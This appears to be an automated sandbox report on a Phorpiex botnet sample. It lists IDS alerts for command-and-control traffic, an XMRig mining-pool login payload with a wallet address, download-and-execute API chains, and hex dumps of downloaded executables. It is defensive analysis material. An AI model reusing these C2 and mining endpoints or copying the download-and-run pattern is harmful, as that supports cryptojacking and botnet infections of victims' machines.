Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\jacrzswcvuml.tmp, type: DROPPED

Detected Stratum mining protocol

Source: global traffic

TCP traffic: 192.168.2.6:50008 -> 185.215.113.66:5152 payload: {"id":1,"jsonrpc":"2.0","method":"login","params":{"login":"47feq5mtn8mcl91sadm6ooigyfkddgftchftudhdqloyz4kps7jg19n1ua8eswuzometjqqkkkzr6nmcbuwa3htua2dee6e","pass":"x","agent":"xmrig/6.19.0 (windows nt 10.0; win64; x64) libuv/1.38.0 msvc/2019","rigid":"","algo":["rx/0","cn/2","cn/r","cn/fast","cn/half","cn/xao","cn/rto","cn/rwz","cn/zls","cn/double","cn/ccx","cn-lite/1","cn-heavy/0","cn-heavy/tube","cn-heavy/xhv","cn-pico","cn-pico/tlo","cn/upx2","cn/gpu","cn/1","rx/wow","rx/arq","rx/graft","rx/sfx","rx/keva","argon2/chukwa","argon2/chukwav2","argon2/ninja","ghostrider"]}}.

Found strings related to Crypto-Mining

Source: winupsecvmgr.exe, 00000022.00000002.3142710101.00007FF7AD1CB000.00000004.00000001.01000000.00000010.sdmp	String found in binary or memory: losestratum+tcp://
Source: winupsecvmgr.exe, 00000022.00000002.3142710101.00007FF7AD1CB000.00000004.00000001.01000000.00000010.sdmp	String found in binary or memory: cryptonight/0
Source: winupsecvmgr.exe, 00000022.00000002.3142710101.00007FF7AD1CB000.00000004.00000001.01000000.00000010.sdmp	String found in binary or memory: losestratum+tcp://
Source: winupsecvmgr.exe, 00000022.00000002.3142710101.00007FF7AD1CB000.00000004.00000001.01000000.00000010.sdmp	String found in binary or memory: -o, --url=URL URL of mining server
Source: winupsecvmgr.exe, 00000022.00000002.3142710101.00007FF7AD1CB000.00000004.00000001.01000000.00000010.sdmp	String found in binary or memory: Usage: xmrig [OPTIONS]
Source: winupsecvmgr.exe, 00000022.00000002.3142710101.00007FF7AD1CB000.00000004.00000001.01000000.00000010.sdmp	String found in binary or memory: Usage: xmrig [OPTIONS]

Source: Us051y7j25.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: C:\Users\user\Desktop\Us051y7j25.exe

File opened: C:\Windows\WinSxS\x86_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.9625_none_508ef7e4bcbbe589\MSVCR90.dll

Jump to behavior

Source: Us051y7j25.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source:	Binary string: symbols\dll\System.Management.Automation.pdb source: powershell.exe, 0000001E.00000002.2890862563.000000D1C3D46000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: XC:\Windows\System.Management.Automation.pdb0 source: powershell.exe, 0000001E.00000002.2890862563.000000D1C3D46000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: d:\hotproject\winring0\source\dll\sys\lib\amd64\WinRing0.pdb source: winupsecvmgr.exe, 00000022.00000002.3142710101.00007FF7AD1CB000.00000004.00000001.01000000.00000010.sdmp
Source:	Binary string: n.pdb{ source: powershell.exe, 0000001E.00000002.2937156312.0000025221AB2000.00000004.00000020.00020000.00000000.sdmp

Source: C:\Users\user\AppData\Local\Temp\21324.scr	Code function: 3_2_004068E0 _chkstk,wsprintfW,wsprintfW,wsprintfW,wsprintfW,wsprintfW,wsprintfW,PathFileExistsW,SetFileAttributesW,DeleteFileW,PathFileExistsW,PathFileExistsW,SetFileAttributesW,DeleteFileW,PathFileExistsW,CreateDirectoryW,SetFileAttributesW,PathFileExistsW,CopyFileW,SetFileAttributesW,PathFileExistsW,SetFileAttributesW,DeleteFileW,PathFileExistsW,PathFileExistsW,CopyFileW,SetFileAttributesW,PathFileExistsW,SetFileAttributesW,DeleteFileW,PathFileExistsW,PathFileExistsW,SetFileAttributesW,FindFirstFileW,lstrcmpW,lstrcmpW,lstrcmpiW,PathMatchSpecW,wsprintfW,SetFileAttributesW,DeleteFileW,PathFileExistsW,wsprintfW,wsprintfW,MoveFileExW,FindNextFileW,FindClose,	3_2_004068E0
Source: C:\Users\user\AppData\Local\Temp\21324.scr	Code function: 3_2_004067A0 CreateDirectoryW,wsprintfW,FindFirstFileW,lstrcmpW,lstrcmpW,wsprintfW,wsprintfW,MoveFileExW,FindNextFileW,FindClose,RemoveDirectoryW,	3_2_004067A0
Source: C:\Windows\sysppvrdnvs.exe	Code function: 4_2_004068E0 _chkstk,wsprintfW,wsprintfW,wsprintfW,wsprintfW,wsprintfW,wsprintfW,PathFileExistsW,SetFileAttributesW,DeleteFileW,PathFileExistsW,PathFileExistsW,SetFileAttributesW,DeleteFileW,PathFileExistsW,CreateDirectoryW,SetFileAttributesW,PathFileExistsW,CopyFileW,SetFileAttributesW,PathFileExistsW,SetFileAttributesW,DeleteFileW,PathFileExistsW,PathFileExistsW,CopyFileW,SetFileAttributesW,PathFileExistsW,SetFileAttributesW,DeleteFileW,PathFileExistsW,PathFileExistsW,SetFileAttributesW,FindFirstFileW,lstrcmpW,lstrcmpW,lstrcmpiW,PathMatchSpecW,wsprintfW,SetFileAttributesW,DeleteFileW,PathFileExistsW,wsprintfW,wsprintfW,MoveFileExW,FindNextFileW,FindClose,	4_2_004068E0
Source: C:\Windows\sysppvrdnvs.exe	Code function: 4_2_004067A0 CreateDirectoryW,wsprintfW,FindFirstFileW,lstrcmpW,lstrcmpW,wsprintfW,wsprintfW,MoveFileExW,FindNextFileW,FindClose,RemoveDirectoryW,	4_2_004067A0
Source: C:\Windows\sysppvrdnvs.exe	Code function: 18_2_004068E0 _chkstk,wsprintfW,wsprintfW,wsprintfW,wsprintfW,wsprintfW,wsprintfW,PathFileExistsW,SetFileAttributesW,DeleteFileW,PathFileExistsW,PathFileExistsW,SetFileAttributesW,DeleteFileW,PathFileExistsW,CreateDirectoryW,SetFileAttributesW,PathFileExistsW,CopyFileW,SetFileAttributesW,PathFileExistsW,SetFileAttributesW,DeleteFileW,PathFileExistsW,PathFileExistsW,CopyFileW,SetFileAttributesW,PathFileExistsW,SetFileAttributesW,DeleteFileW,PathFileExistsW,PathFileExistsW,SetFileAttributesW,FindFirstFileW,lstrcmpW,lstrcmpW,lstrcmpiW,PathMatchSpecW,wsprintfW,SetFileAttributesW,DeleteFileW,PathFileExistsW,wsprintfW,wsprintfW,MoveFileExW,FindNextFileW,FindClose,	18_2_004068E0
Source: C:\Windows\sysppvrdnvs.exe	Code function: 18_2_004067A0 CreateDirectoryW,wsprintfW,FindFirstFileW,lstrcmpW,lstrcmpW,wsprintfW,wsprintfW,MoveFileExW,FindNextFileW,FindClose,RemoveDirectoryW,	18_2_004067A0

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2044077 - Severity 1 - ET MALWARE Win32/Phorpiex UDP Peer-to-Peer CnC : 192.168.2.6:58415 -> 85.173.115.180:40500
Source: Network traffic	Suricata IDS: 2044077 - Severity 1 - ET MALWARE Win32/Phorpiex UDP Peer-to-Peer CnC : 192.168.2.6:58415 -> 90.156.163.121:40500
Source: Network traffic	Suricata IDS: 2848295 - Severity 1 - ETPRO MALWARE Win32/Phorpiex.V CnC Activity M3 : 192.168.2.6:49856 -> 185.215.113.66:80
Source: Network traffic	Suricata IDS: 2848295 - Severity 1 - ETPRO MALWARE Win32/Phorpiex.V CnC Activity M3 : 192.168.2.6:49814 -> 185.215.113.66:80
Source: Network traffic	Suricata IDS: 2848295 - Severity 1 - ETPRO MALWARE Win32/Phorpiex.V CnC Activity M3 : 192.168.2.6:49867 -> 185.215.113.66:80
Source: Network traffic	Suricata IDS: 2044077 - Severity 1 - ET MALWARE Win32/Phorpiex UDP Peer-to-Peer CnC : 192.168.2.6:58415 -> 62.209.135.143:40500
Source: Network traffic	Suricata IDS: 2848295 - Severity 1 - ETPRO MALWARE Win32/Phorpiex.V CnC Activity M3 : 192.168.2.6:49826 -> 185.215.113.66:80
Source: Network traffic	Suricata IDS: 2022050 - Severity 1 - ET MALWARE Likely Evil EXE download from dotted Quad by MSXMLHTTP M1 : 185.215.113.66:80 -> 192.168.2.6:49763
Source: Network traffic	Suricata IDS: 2044077 - Severity 1 - ET MALWARE Win32/Phorpiex UDP Peer-to-Peer CnC : 192.168.2.6:58415 -> 213.230.97.241:40500
Source: Network traffic	Suricata IDS: 2044077 - Severity 1 - ET MALWARE Win32/Phorpiex UDP Peer-to-Peer CnC : 192.168.2.6:58415 -> 93.188.83.238:40500
Source: Network traffic	Suricata IDS: 2837677 - Severity 1 - ETPRO MALWARE Phorpiex RC4 Encrypted Payload Inbound via HTTP (512 signature) : 185.215.113.66:80 -> 192.168.2.6:49826
Source: Network traffic	Suricata IDS: 2848295 - Severity 1 - ETPRO MALWARE Win32/Phorpiex.V CnC Activity M3 : 192.168.2.6:49914 -> 185.215.113.66:80
Source: Network traffic	Suricata IDS: 2848295 - Severity 1 - ETPRO MALWARE Win32/Phorpiex.V CnC Activity M3 : 192.168.2.6:49957 -> 185.215.113.66:80
Source: Network traffic	Suricata IDS: 2044077 - Severity 1 - ET MALWARE Win32/Phorpiex UDP Peer-to-Peer CnC : 192.168.2.6:58415 -> 80.191.218.209:40500
Source: Network traffic	Suricata IDS: 2022051 - Severity 1 - ET MALWARE Likely Evil EXE download from dotted Quad by MSXMLHTTP M2 : 185.215.113.66:80 -> 192.168.2.6:49763
Source: Network traffic	Suricata IDS: 2848295 - Severity 1 - ETPRO MALWARE Win32/Phorpiex.V CnC Activity M3 : 192.168.2.6:49994 -> 185.215.113.66:80
Source: Network traffic	Suricata IDS: 2044077 - Severity 1 - ET MALWARE Win32/Phorpiex UDP Peer-to-Peer CnC : 192.168.2.6:58415 -> 85.233.153.109:40500
Source: Network traffic	Suricata IDS: 2044077 - Severity 1 - ET MALWARE Win32/Phorpiex UDP Peer-to-Peer CnC : 192.168.2.6:58415 -> 90.156.160.66:40500
Source: Network traffic	Suricata IDS: 2044077 - Severity 1 - ET MALWARE Win32/Phorpiex UDP Peer-to-Peer CnC : 192.168.2.6:58415 -> 188.212.80.105:40500
Source: Network traffic	Suricata IDS: 2044077 - Severity 1 - ET MALWARE Win32/Phorpiex UDP Peer-to-Peer CnC : 192.168.2.6:58415 -> 2.181.31.167:40500
Source: Network traffic	Suricata IDS: 2044077 - Severity 1 - ET MALWARE Win32/Phorpiex UDP Peer-to-Peer CnC : 192.168.2.6:58415 -> 77.240.41.3:40500
Source: Network traffic	Suricata IDS: 2848295 - Severity 1 - ETPRO MALWARE Win32/Phorpiex.V CnC Activity M3 : 192.168.2.6:49998 -> 91.202.233.141:80
Source: Network traffic	Suricata IDS: 2848295 - Severity 1 - ETPRO MALWARE Win32/Phorpiex.V CnC Activity M3 : 192.168.2.6:50004 -> 185.215.113.66:80
Source: Network traffic	Suricata IDS: 2044077 - Severity 1 - ET MALWARE Win32/Phorpiex UDP Peer-to-Peer CnC : 192.168.2.6:58415 -> 151.243.242.97:40500
Source: Network traffic	Suricata IDS: 2848295 - Severity 1 - ETPRO MALWARE Win32/Phorpiex.V CnC Activity M3 : 192.168.2.6:50001 -> 185.215.113.66:80
Source: Network traffic	Suricata IDS: 2848295 - Severity 1 - ETPRO MALWARE Win32/Phorpiex.V CnC Activity M3 : 192.168.2.6:50000 -> 185.215.113.66:80
Source: Network traffic	Suricata IDS: 2848295 - Severity 1 - ETPRO MALWARE Win32/Phorpiex.V CnC Activity M3 : 192.168.2.6:50006 -> 185.215.113.66:80
Source: Network traffic	Suricata IDS: 2044077 - Severity 1 - ET MALWARE Win32/Phorpiex UDP Peer-to-Peer CnC : 192.168.2.6:58415 -> 91.246.92.22:40500
Source: Network traffic	Suricata IDS: 2044077 - Severity 1 - ET MALWARE Win32/Phorpiex UDP Peer-to-Peer CnC : 192.168.2.6:58415 -> 178.91.91.225:40500
Source: Network traffic	Suricata IDS: 2044077 - Severity 1 - ET MALWARE Win32/Phorpiex UDP Peer-to-Peer CnC : 192.168.2.6:58415 -> 78.39.234.9:40500
Source: Network traffic	Suricata IDS: 2848295 - Severity 1 - ETPRO MALWARE Win32/Phorpiex.V CnC Activity M3 : 192.168.2.6:50007 -> 185.215.113.66:80
Source: Network traffic	Suricata IDS: 2044077 - Severity 1 - ET MALWARE Win32/Phorpiex UDP Peer-to-Peer CnC : 192.168.2.6:58415 -> 90.156.163.55:40500
Source: Network traffic	Suricata IDS: 2848295 - Severity 1 - ETPRO MALWARE Win32/Phorpiex.V CnC Activity M3 : 192.168.2.6:50015 -> 91.202.233.141:80
Source: Network traffic	Suricata IDS: 2044077 - Severity 1 - ET MALWARE Win32/Phorpiex UDP Peer-to-Peer CnC : 192.168.2.6:58415 -> 94.158.52.97:40500
Source: Network traffic	Suricata IDS: 2044077 - Severity 1 - ET MALWARE Win32/Phorpiex UDP Peer-to-Peer CnC : 192.168.2.6:58415 -> 46.100.164.239:40500
Source: Network traffic	Suricata IDS: 2848295 - Severity 1 - ETPRO MALWARE Win32/Phorpiex.V CnC Activity M3 : 192.168.2.6:50023 -> 185.215.113.66:80
Source: Network traffic	Suricata IDS: 2848295 - Severity 1 - ETPRO MALWARE Win32/Phorpiex.V CnC Activity M3 : 192.168.2.6:50012 -> 91.202.233.141:80
Source: Network traffic	Suricata IDS: 2848295 - Severity 1 - ETPRO MALWARE Win32/Phorpiex.V CnC Activity M3 : 192.168.2.6:50025 -> 185.215.113.66:80
Source: Network traffic	Suricata IDS: 2848295 - Severity 1 - ETPRO MALWARE Win32/Phorpiex.V CnC Activity M3 : 192.168.2.6:50016 -> 91.202.233.141:80
Source: Network traffic	Suricata IDS: 2044077 - Severity 1 - ET MALWARE Win32/Phorpiex UDP Peer-to-Peer CnC : 192.168.2.6:58415 -> 213.206.45.227:40500
Source: Network traffic	Suricata IDS: 2848295 - Severity 1 - ETPRO MALWARE Win32/Phorpiex.V CnC Activity M3 : 192.168.2.6:50021 -> 185.215.113.66:80
Source: Network traffic	Suricata IDS: 2848295 - Severity 1 - ETPRO MALWARE Win32/Phorpiex.V CnC Activity M3 : 192.168.2.6:50020 -> 185.215.113.66:80
Source: Network traffic	Suricata IDS: 2848295 - Severity 1 - ETPRO MALWARE Win32/Phorpiex.V CnC Activity M3 : 192.168.2.6:50027 -> 91.202.233.141:80
Source: Network traffic	Suricata IDS: 2848295 - Severity 1 - ETPRO MALWARE Win32/Phorpiex.V CnC Activity M3 : 192.168.2.6:50013 -> 91.202.233.141:80
Source: Network traffic	Suricata IDS: 2848295 - Severity 1 - ETPRO MALWARE Win32/Phorpiex.V CnC Activity M3 : 192.168.2.6:50018 -> 185.215.113.66:80
Source: Network traffic	Suricata IDS: 2848295 - Severity 1 - ETPRO MALWARE Win32/Phorpiex.V CnC Activity M3 : 192.168.2.6:50010 -> 91.202.233.141:80
Source: Network traffic	Suricata IDS: 2837677 - Severity 1 - ETPRO MALWARE Phorpiex RC4 Encrypted Payload Inbound via HTTP (512 signature) : 185.215.113.66:80 -> 192.168.2.6:49814
Source: Network traffic	Suricata IDS: 2837677 - Severity 1 - ETPRO MALWARE Phorpiex RC4 Encrypted Payload Inbound via HTTP (512 signature) : 185.215.113.66:80 -> 192.168.2.6:50018
Source: Network traffic	Suricata IDS: 2837677 - Severity 1 - ETPRO MALWARE Phorpiex RC4 Encrypted Payload Inbound via HTTP (512 signature) : 185.215.113.66:80 -> 192.168.2.6:50000

Contains functionality to check if Internet connection is working

Source: C:\Users\user\AppData\Local\Temp\21324.scr	Code function: 3_2_0040B430 htons,socket,connect,getsockname, www.update.microsoft.com	3_2_0040B430
Source: C:\Windows\sysppvrdnvs.exe	Code function: 4_2_0040B430 htons,socket,connect,getsockname, www.update.microsoft.com	4_2_0040B430
Source: C:\Windows\sysppvrdnvs.exe	Code function: 18_2_0040B430 htons,socket,connect,getsockname, www.update.microsoft.com	18_2_0040B430

Source: C:\Users\user\Desktop\Us051y7j25.exe

Code function: 0_2_001410B0 Sleep,DeleteFileW,CopyFileW,FindWindowA,MoveFileW,DeleteFileW,CopyFileW,FindWindowA,MoveFileW,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetTickCount,srand,mbstowcs,mbstowcs,wsprintfW,wsprintfW,PathFileExistsW,mbstowcs,mbstowcs,rand,wsprintfW,mbstowcs,mbstowcs,URLDownloadToFileW,ShellExecuteW,FreeLibrary,FreeLibrary,FreeLibrary,FreeLibrary,FreeLibrary,

0_2_001410B0

Source: global traffic	TCP traffic: 192.168.2.6:49831 -> 88.151.180.214:40500
Source: global traffic	TCP traffic: 192.168.2.6:49873 -> 92.47.47.166:40500
Source: global traffic	TCP traffic: 192.168.2.6:49952 -> 90.156.162.125:40500
Source: global traffic	TCP traffic: 192.168.2.6:49996 -> 94.183.35.46:40500
Source: global traffic	TCP traffic: 192.168.2.6:49999 -> 198.163.192.16:40500
Source: global traffic	TCP traffic: 192.168.2.6:50002 -> 90.156.163.55:40500
Source: global traffic	TCP traffic: 192.168.2.6:50005 -> 59.91.192.122:40500
Source: global traffic	TCP traffic: 192.168.2.6:50008 -> 185.215.113.66:5152
Source: global traffic	TCP traffic: 192.168.2.6:50009 -> 78.37.229.249:40500
Source: global traffic	TCP traffic: 192.168.2.6:50011 -> 5.239.153.192:40500
Source: global traffic	TCP traffic: 192.168.2.6:50014 -> 178.22.171.158:40500
Source: global traffic	TCP traffic: 192.168.2.6:50017 -> 2.178.164.63:40500
Source: global traffic	TCP traffic: 192.168.2.6:50019 -> 94.230.230.211:40500
Source: global traffic	TCP traffic: 192.168.2.6:50022 -> 5.237.148.223:40500
Source: global traffic	TCP traffic: 192.168.2.6:50024 -> 37.151.113.156:40500
Source: global traffic	TCP traffic: 192.168.2.6:50026 -> 89.218.239.82:40500
Source: global traffic	UDP traffic: 192.168.2.6:58415 -> 85.173.115.180:40500
Source: global traffic	UDP traffic: 192.168.2.6:58415 -> 90.156.163.121:40500
Source: global traffic	UDP traffic: 192.168.2.6:58415 -> 62.209.135.143:40500
Source: global traffic	UDP traffic: 192.168.2.6:58415 -> 213.230.97.241:40500
Source: global traffic	UDP traffic: 192.168.2.6:58415 -> 93.188.83.238:40500
Source: global traffic	UDP traffic: 192.168.2.6:58415 -> 95.58.216.162:40500
Source: global traffic	UDP traffic: 192.168.2.6:58415 -> 80.191.218.209:40500
Source: global traffic	UDP traffic: 192.168.2.6:58415 -> 85.233.153.109:40500
Source: global traffic	UDP traffic: 192.168.2.6:58415 -> 188.212.80.105:40500
Source: global traffic	UDP traffic: 192.168.2.6:58415 -> 90.156.160.66:40500
Source: global traffic	UDP traffic: 192.168.2.6:58415 -> 88.204.242.226:40500
Source: global traffic	UDP traffic: 192.168.2.6:58415 -> 2.181.31.167:40500
Source: global traffic	UDP traffic: 192.168.2.6:58415 -> 77.240.41.3:40500
Source: global traffic	UDP traffic: 192.168.2.6:58415 -> 151.243.242.97:40500
Source: global traffic	UDP traffic: 192.168.2.6:58415 -> 178.91.91.225:40500
Source: global traffic	UDP traffic: 192.168.2.6:58415 -> 91.246.92.22:40500
Source: global traffic	UDP traffic: 192.168.2.6:58415 -> 78.39.234.9:40500
Source: global traffic	UDP traffic: 192.168.2.6:58415 -> 197.165.192.61:40500
Source: global traffic	UDP traffic: 192.168.2.6:58415 -> 94.158.52.97:40500
Source: global traffic	UDP traffic: 192.168.2.6:58415 -> 46.100.164.239:40500
Source: global traffic	UDP traffic: 192.168.2.6:58415 -> 213.206.45.227:40500

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sat, 26 Oct 2024 05:26:26 GMTContent-Type: application/octet-streamContent-Length: 85504Last-Modified: Sun, 20 Oct 2024 18:13:32 GMTConnection: keep-aliveETag: "6715484c-14e00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 6d bb 70 6a 29 da 1e 39 29 da 1e 39 29 da 1e 39 20 a2 94 39 2e da 1e 39 51 a8 1f 38 2b da 1e 39 ea d5 43 39 2b da 1e 39 ea d5 41 39 28 da 1e 39 ea d5 11 39 2b da 1e 39 0e 1c 73 39 2d da 1e 39 29 da 1f 39 95 da 1e 39 0e 1c 65 39 3c da 1e 39 20 a2 9d 39 2d da 1e 39 20 a2 9a 39 35 da 1e 39 20 a2 8f 39 28 da 1e 39 52 69 63 68 29 da 1e 39 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 a4 84 07 67 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 09 00 00 ee 00 00 00 70 00 00 00 00 00 00 40 79 00 00 00 10 00 00 00 00 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 00 00 00 00 00 00 05 00 00 00 00 00 00 00 00 70 01 00 00 04 00 00 00 00 00 00 02 00 00 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 7c 30 01 00 04 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 10 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 86 ed 00 00 00 10 00 00 00 ee 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 f2 3f 00 00 00 00 01 00 00 40 00 00 00 f2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 90 2e 00 00 00 40 01 00 00 1c 00 00 00 32 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sat, 26 Oct 2024 05:27:09 GMTContent-Type: application/octet-streamContent-Length: 5827584Last-Modified: Fri, 27 Sep 2024 20:03:46 GMTConnection: keep-aliveETag: "66f70fa2-58ec00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 64 86 0b 00 b7 01 f7 66 00 00 00 00 00 00 00 00 f0 00 2e 02 0b 02 02 26 00 94 01 00 00 e8 58 00 00 1e 00 00 b0 14 00 00 00 10 00 00 00 00 00 40 01 00 00 00 00 10 00 00 00 02 00 00 04 00 00 00 00 00 00 00 05 00 02 00 00 00 00 00 00 70 59 00 00 04 00 00 91 87 59 00 02 00 60 01 00 00 20 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 20 59 00 34 0a 00 00 00 50 59 00 80 03 00 00 00 d0 58 00 58 11 00 00 00 00 00 00 00 00 00 00 00 60 59 00 30 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 b7 58 00 28 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 8c 22 59 00 50 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 50 93 01 00 00 10 00 00 00 94 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 00 60 2e 64 61 74 61 00 00 00 c0 de 56 00 00 b0 01 00 00 e0 56 00 00 98 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 64 61 74 61 00 00 f0 39 00 00 00 90 58 00 00 3a 00 00 00 78 58 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 70 64 61 74 61 00 00 58 11 00 00 00 d0 58 00 00 12 00 00 00 b2 58 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 78 64 61 74 61 00 00 f4 0e 00 00 00 f0 58 00 00 10 00 00 00 c4 58 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 62 73 73 00 00 00 00 80 1c 00 00 00 00 59 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 c0 2e 69 64 61 74 61 00 00 34 0a 00 00 00 20 59 00 00 0c 00 00 00 d4 58 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 43 52 54 00 00 00 00 60 00 00 00 00 30 59 00 00 02 00 00 00 e0 58 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 74 6c 73 00 00 00 00 10 00 00 00 00 40 59 00 00 02 00 00 00 e2 58 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 80 03 00 00 00 50 59 00 00 04 00 00 00 e4 58 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 65 6c 6f 63 00 00 30 03 00 00 00 60 59 00 00 04 00 00 00 e8 58 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: Joe Sandbox View	IP Address: 185.215.113.66 185.215.113.66
Source: Joe Sandbox View	IP Address: 91.202.233.141 91.202.233.141

Source: Joe Sandbox View	ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL
Source: Joe Sandbox View	ASN Name: M247GB M247GB

Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.6:49826 -> 185.215.113.66:80
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.6:49856 -> 185.215.113.66:80
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.6:49814 -> 185.215.113.66:80
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.6:49867 -> 185.215.113.66:80
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.6:49914 -> 185.215.113.66:80
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.6:49957 -> 185.215.113.66:80
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.6:49991 -> 185.215.113.84:80
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.6:49994 -> 185.215.113.66:80
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.6:49997 -> 91.202.233.141:80
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.6:49998 -> 91.202.233.141:80
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.6:50004 -> 185.215.113.66:80
